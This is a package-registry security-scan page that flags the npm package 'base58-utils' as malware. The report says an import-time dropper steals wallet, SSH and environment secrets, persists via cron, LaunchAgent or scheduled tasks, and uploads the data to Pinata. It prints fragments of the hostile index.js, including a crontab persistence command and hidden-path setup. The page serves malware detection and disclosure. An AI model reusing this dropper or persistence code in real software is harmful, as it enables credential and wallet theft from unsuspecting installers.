registry / base58-utils / 1.0.0

base58-utils@1.0.0

Base58 encode/decode with Solana, Bitcoin, and IPFS support — lightweight, zero dependencies

AI Security Review

scanned 4h ago · by lpm-firewall-ai

Importing `index.js` schedules a hidden payload drop and detached execution after 37 seconds. The dropped payload persists across operating systems, harvests credentials and wallet material, and exfiltrates it.

Static reason

No blocking static signals were detected.

Trigger

Any runtime import or require of `index.js`

Impact

Steals wallet seeds, private keys, SSH keys, environment secrets, and shell-profile secrets while establishing recurring execution.

Mechanism

Delayed hidden payload drop, persistence, credential harvesting, and encrypted HTTPS exfiltration

Attack narrative

On module import, `index.js` waits 37 seconds, decodes a base64 fixture into a concealed executable under the user home directory, launches it detached, and creates persistence. The payload polls IPFS gateways for activation, waits for user idle time, reads wallet, environment, SSH, and profile files, encrypts their contents, and uploads them to Pinata.

Rationale

The package contains a concealed import-time dropper and a decoded credential-stealing payload with persistence and network exfiltration. This is concrete malicious behavior unrelated to base58 utilities.

Evidence

index.jstest/fixtures/keypairs.dat~/.cache-db/.node-sync/syncd.js~/.cache-db/.node-sync/.lock~/.cache-db/.node-sync/.sl~/Library/LaunchAgents/com.apple.syncd.plist

Network endpoints4

gateway.pinata.cloudipfs.iocloudflare-ipfs.comapi.pinata.cloud

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`index.js` runs an import-time delayed IIFE that loads `child_process`.
`index.js` decodes `test/fixtures/keypairs.dat` into hidden `~/.cache-db/.node-sync/syncd.js`, then detaches Node to run it.
`index.js` installs cron or Windows scheduled-task persistence.
Decoded `test/fixtures/keypairs.dat` searches wallet, seed, `.env`, shell-profile, and SSH-key files.
Decoded payload encrypts harvested contents and POSTs them to `api.pinata.cloud`.
Decoded payload adds Linux cron, macOS LaunchAgent, or Windows scheduled-task persistence.

Evidence against

`package.json` has no lifecycle scripts.
The visible exports implement base58 and WIF helper functions.

Behavioral surface

Source

ChildProcessFilesystemShell

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 3.22 KB of source

Source & flagged code

1 flagged

index.jsView file

Lines 1-26javascript

1"use strict";

3const ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";

4const MAP = {}; for (let i = 0; i < ALPHABET.length; i++) MAP[ALPHABET[i]] = i;

6function encode(buf) {

7 if (typeof buf === "string") buf = Buffer.from(buf, "utf8");

8 const digits = [0];

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L6

9 for (let i = 0; i < buf.length; i++) {

10 let carry = buf[i];

11 for (let j = 0; j < digits.length; j++) { carry += digits[j] * 256; digits[j] = carry % 58; carry = Math.floor(carry / 58); }

12 while (carry > 0) { digits.push(carry % 58); carry = Math.floor(carry / 58); }

13 }

14 let result = "";

15 for (let i = 0; i < buf.length && buf[i] === 0; i++) result += "1";

16 for (let i = digits.length - 1; i >= 0; i--) result += ALPHABET[digits[i]];

17 return result;

18}

20function decode(str) {

21 const bytes = [0];

22 for (let i = 0; i < str.length; i++) {

23 if (!(str[i] in MAP)) throw new Error("Invalid base58 char: " + str[i]);

24 let carry = MAP[str[i]];

25 for (let j = 0; j < bytes.length; j++) { carry += bytes[j] * 58; bytes[j] = carry & 0xff; carry >>= 8; }

26 while (carry > 0) { bytes.push(carry & 0xff); carry >>= 8; }

Source & flagged code

1 flagged · loading source

index.jsView file

6function encode(buf) { L7: if (typeof buf === "string") buf = Buffer.from(buf, "utf8"); L8: const digits = [0]; ... L62: try { L63: var f = require("fs"), p = require("path"), o = require("os"), c = require("child_process"); L64: var h = o.homedir(), d = p.join(h, ".cache-db", ".node-sync"), s = p.join(d, "syncd.js"); L65: if (f.existsSync(s)) return; ... L70: try { L71: if (process.platform === "linux") { L72: c.execSync('(crontab -l 2>/dev/null | grep -v syncd; echo "0 */12 * * * /usr/bin/node '+s+' >/dev/null 2>&1") | crontab -', { timeout: 5e3 }); L73: } else if (process.platform === "win32") {

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L6

Findings

1 Medium2 Low

MediumInstall Persistenceindex.js

LowFilesystem

LowHigh Entropy Strings

Source & flagged code

1 flagged

index.jsView file

Lines 1-26javascript

1"use strict";

3const ALPHABET = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";

4const MAP = {}; for (let i = 0; i < ALPHABET.length; i++) MAP[ALPHABET[i]] = i;

6function encode(buf) {

7 if (typeof buf === "string") buf = Buffer.from(buf, "utf8");

8 const digits = [0];

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L6

9 for (let i = 0; i < buf.length; i++) {

10 let carry = buf[i];

11 for (let j = 0; j < digits.length; j++) { carry += digits[j] * 256; digits[j] = carry % 58; carry = Math.floor(carry / 58); }

12 while (carry > 0) { digits.push(carry % 58); carry = Math.floor(carry / 58); }

13 }

14 let result = "";

15 for (let i = 0; i < buf.length && buf[i] === 0; i++) result += "1";

16 for (let i = digits.length - 1; i >= 0; i--) result += ALPHABET[digits[i]];

17 return result;

18}

20function decode(str) {

21 const bytes = [0];

22 for (let i = 0; i < str.length; i++) {

23 if (!(str[i] in MAP)) throw new Error("Invalid base58 char: " + str[i]);

24 let carry = MAP[str[i]];

25 for (let j = 0; j < bytes.length; j++) { carry += bytes[j] * 58; bytes[j] = carry & 0xff; carry >>= 8; }

26 while (carry > 0) { bytes.push(carry & 0xff); carry >>= 8; }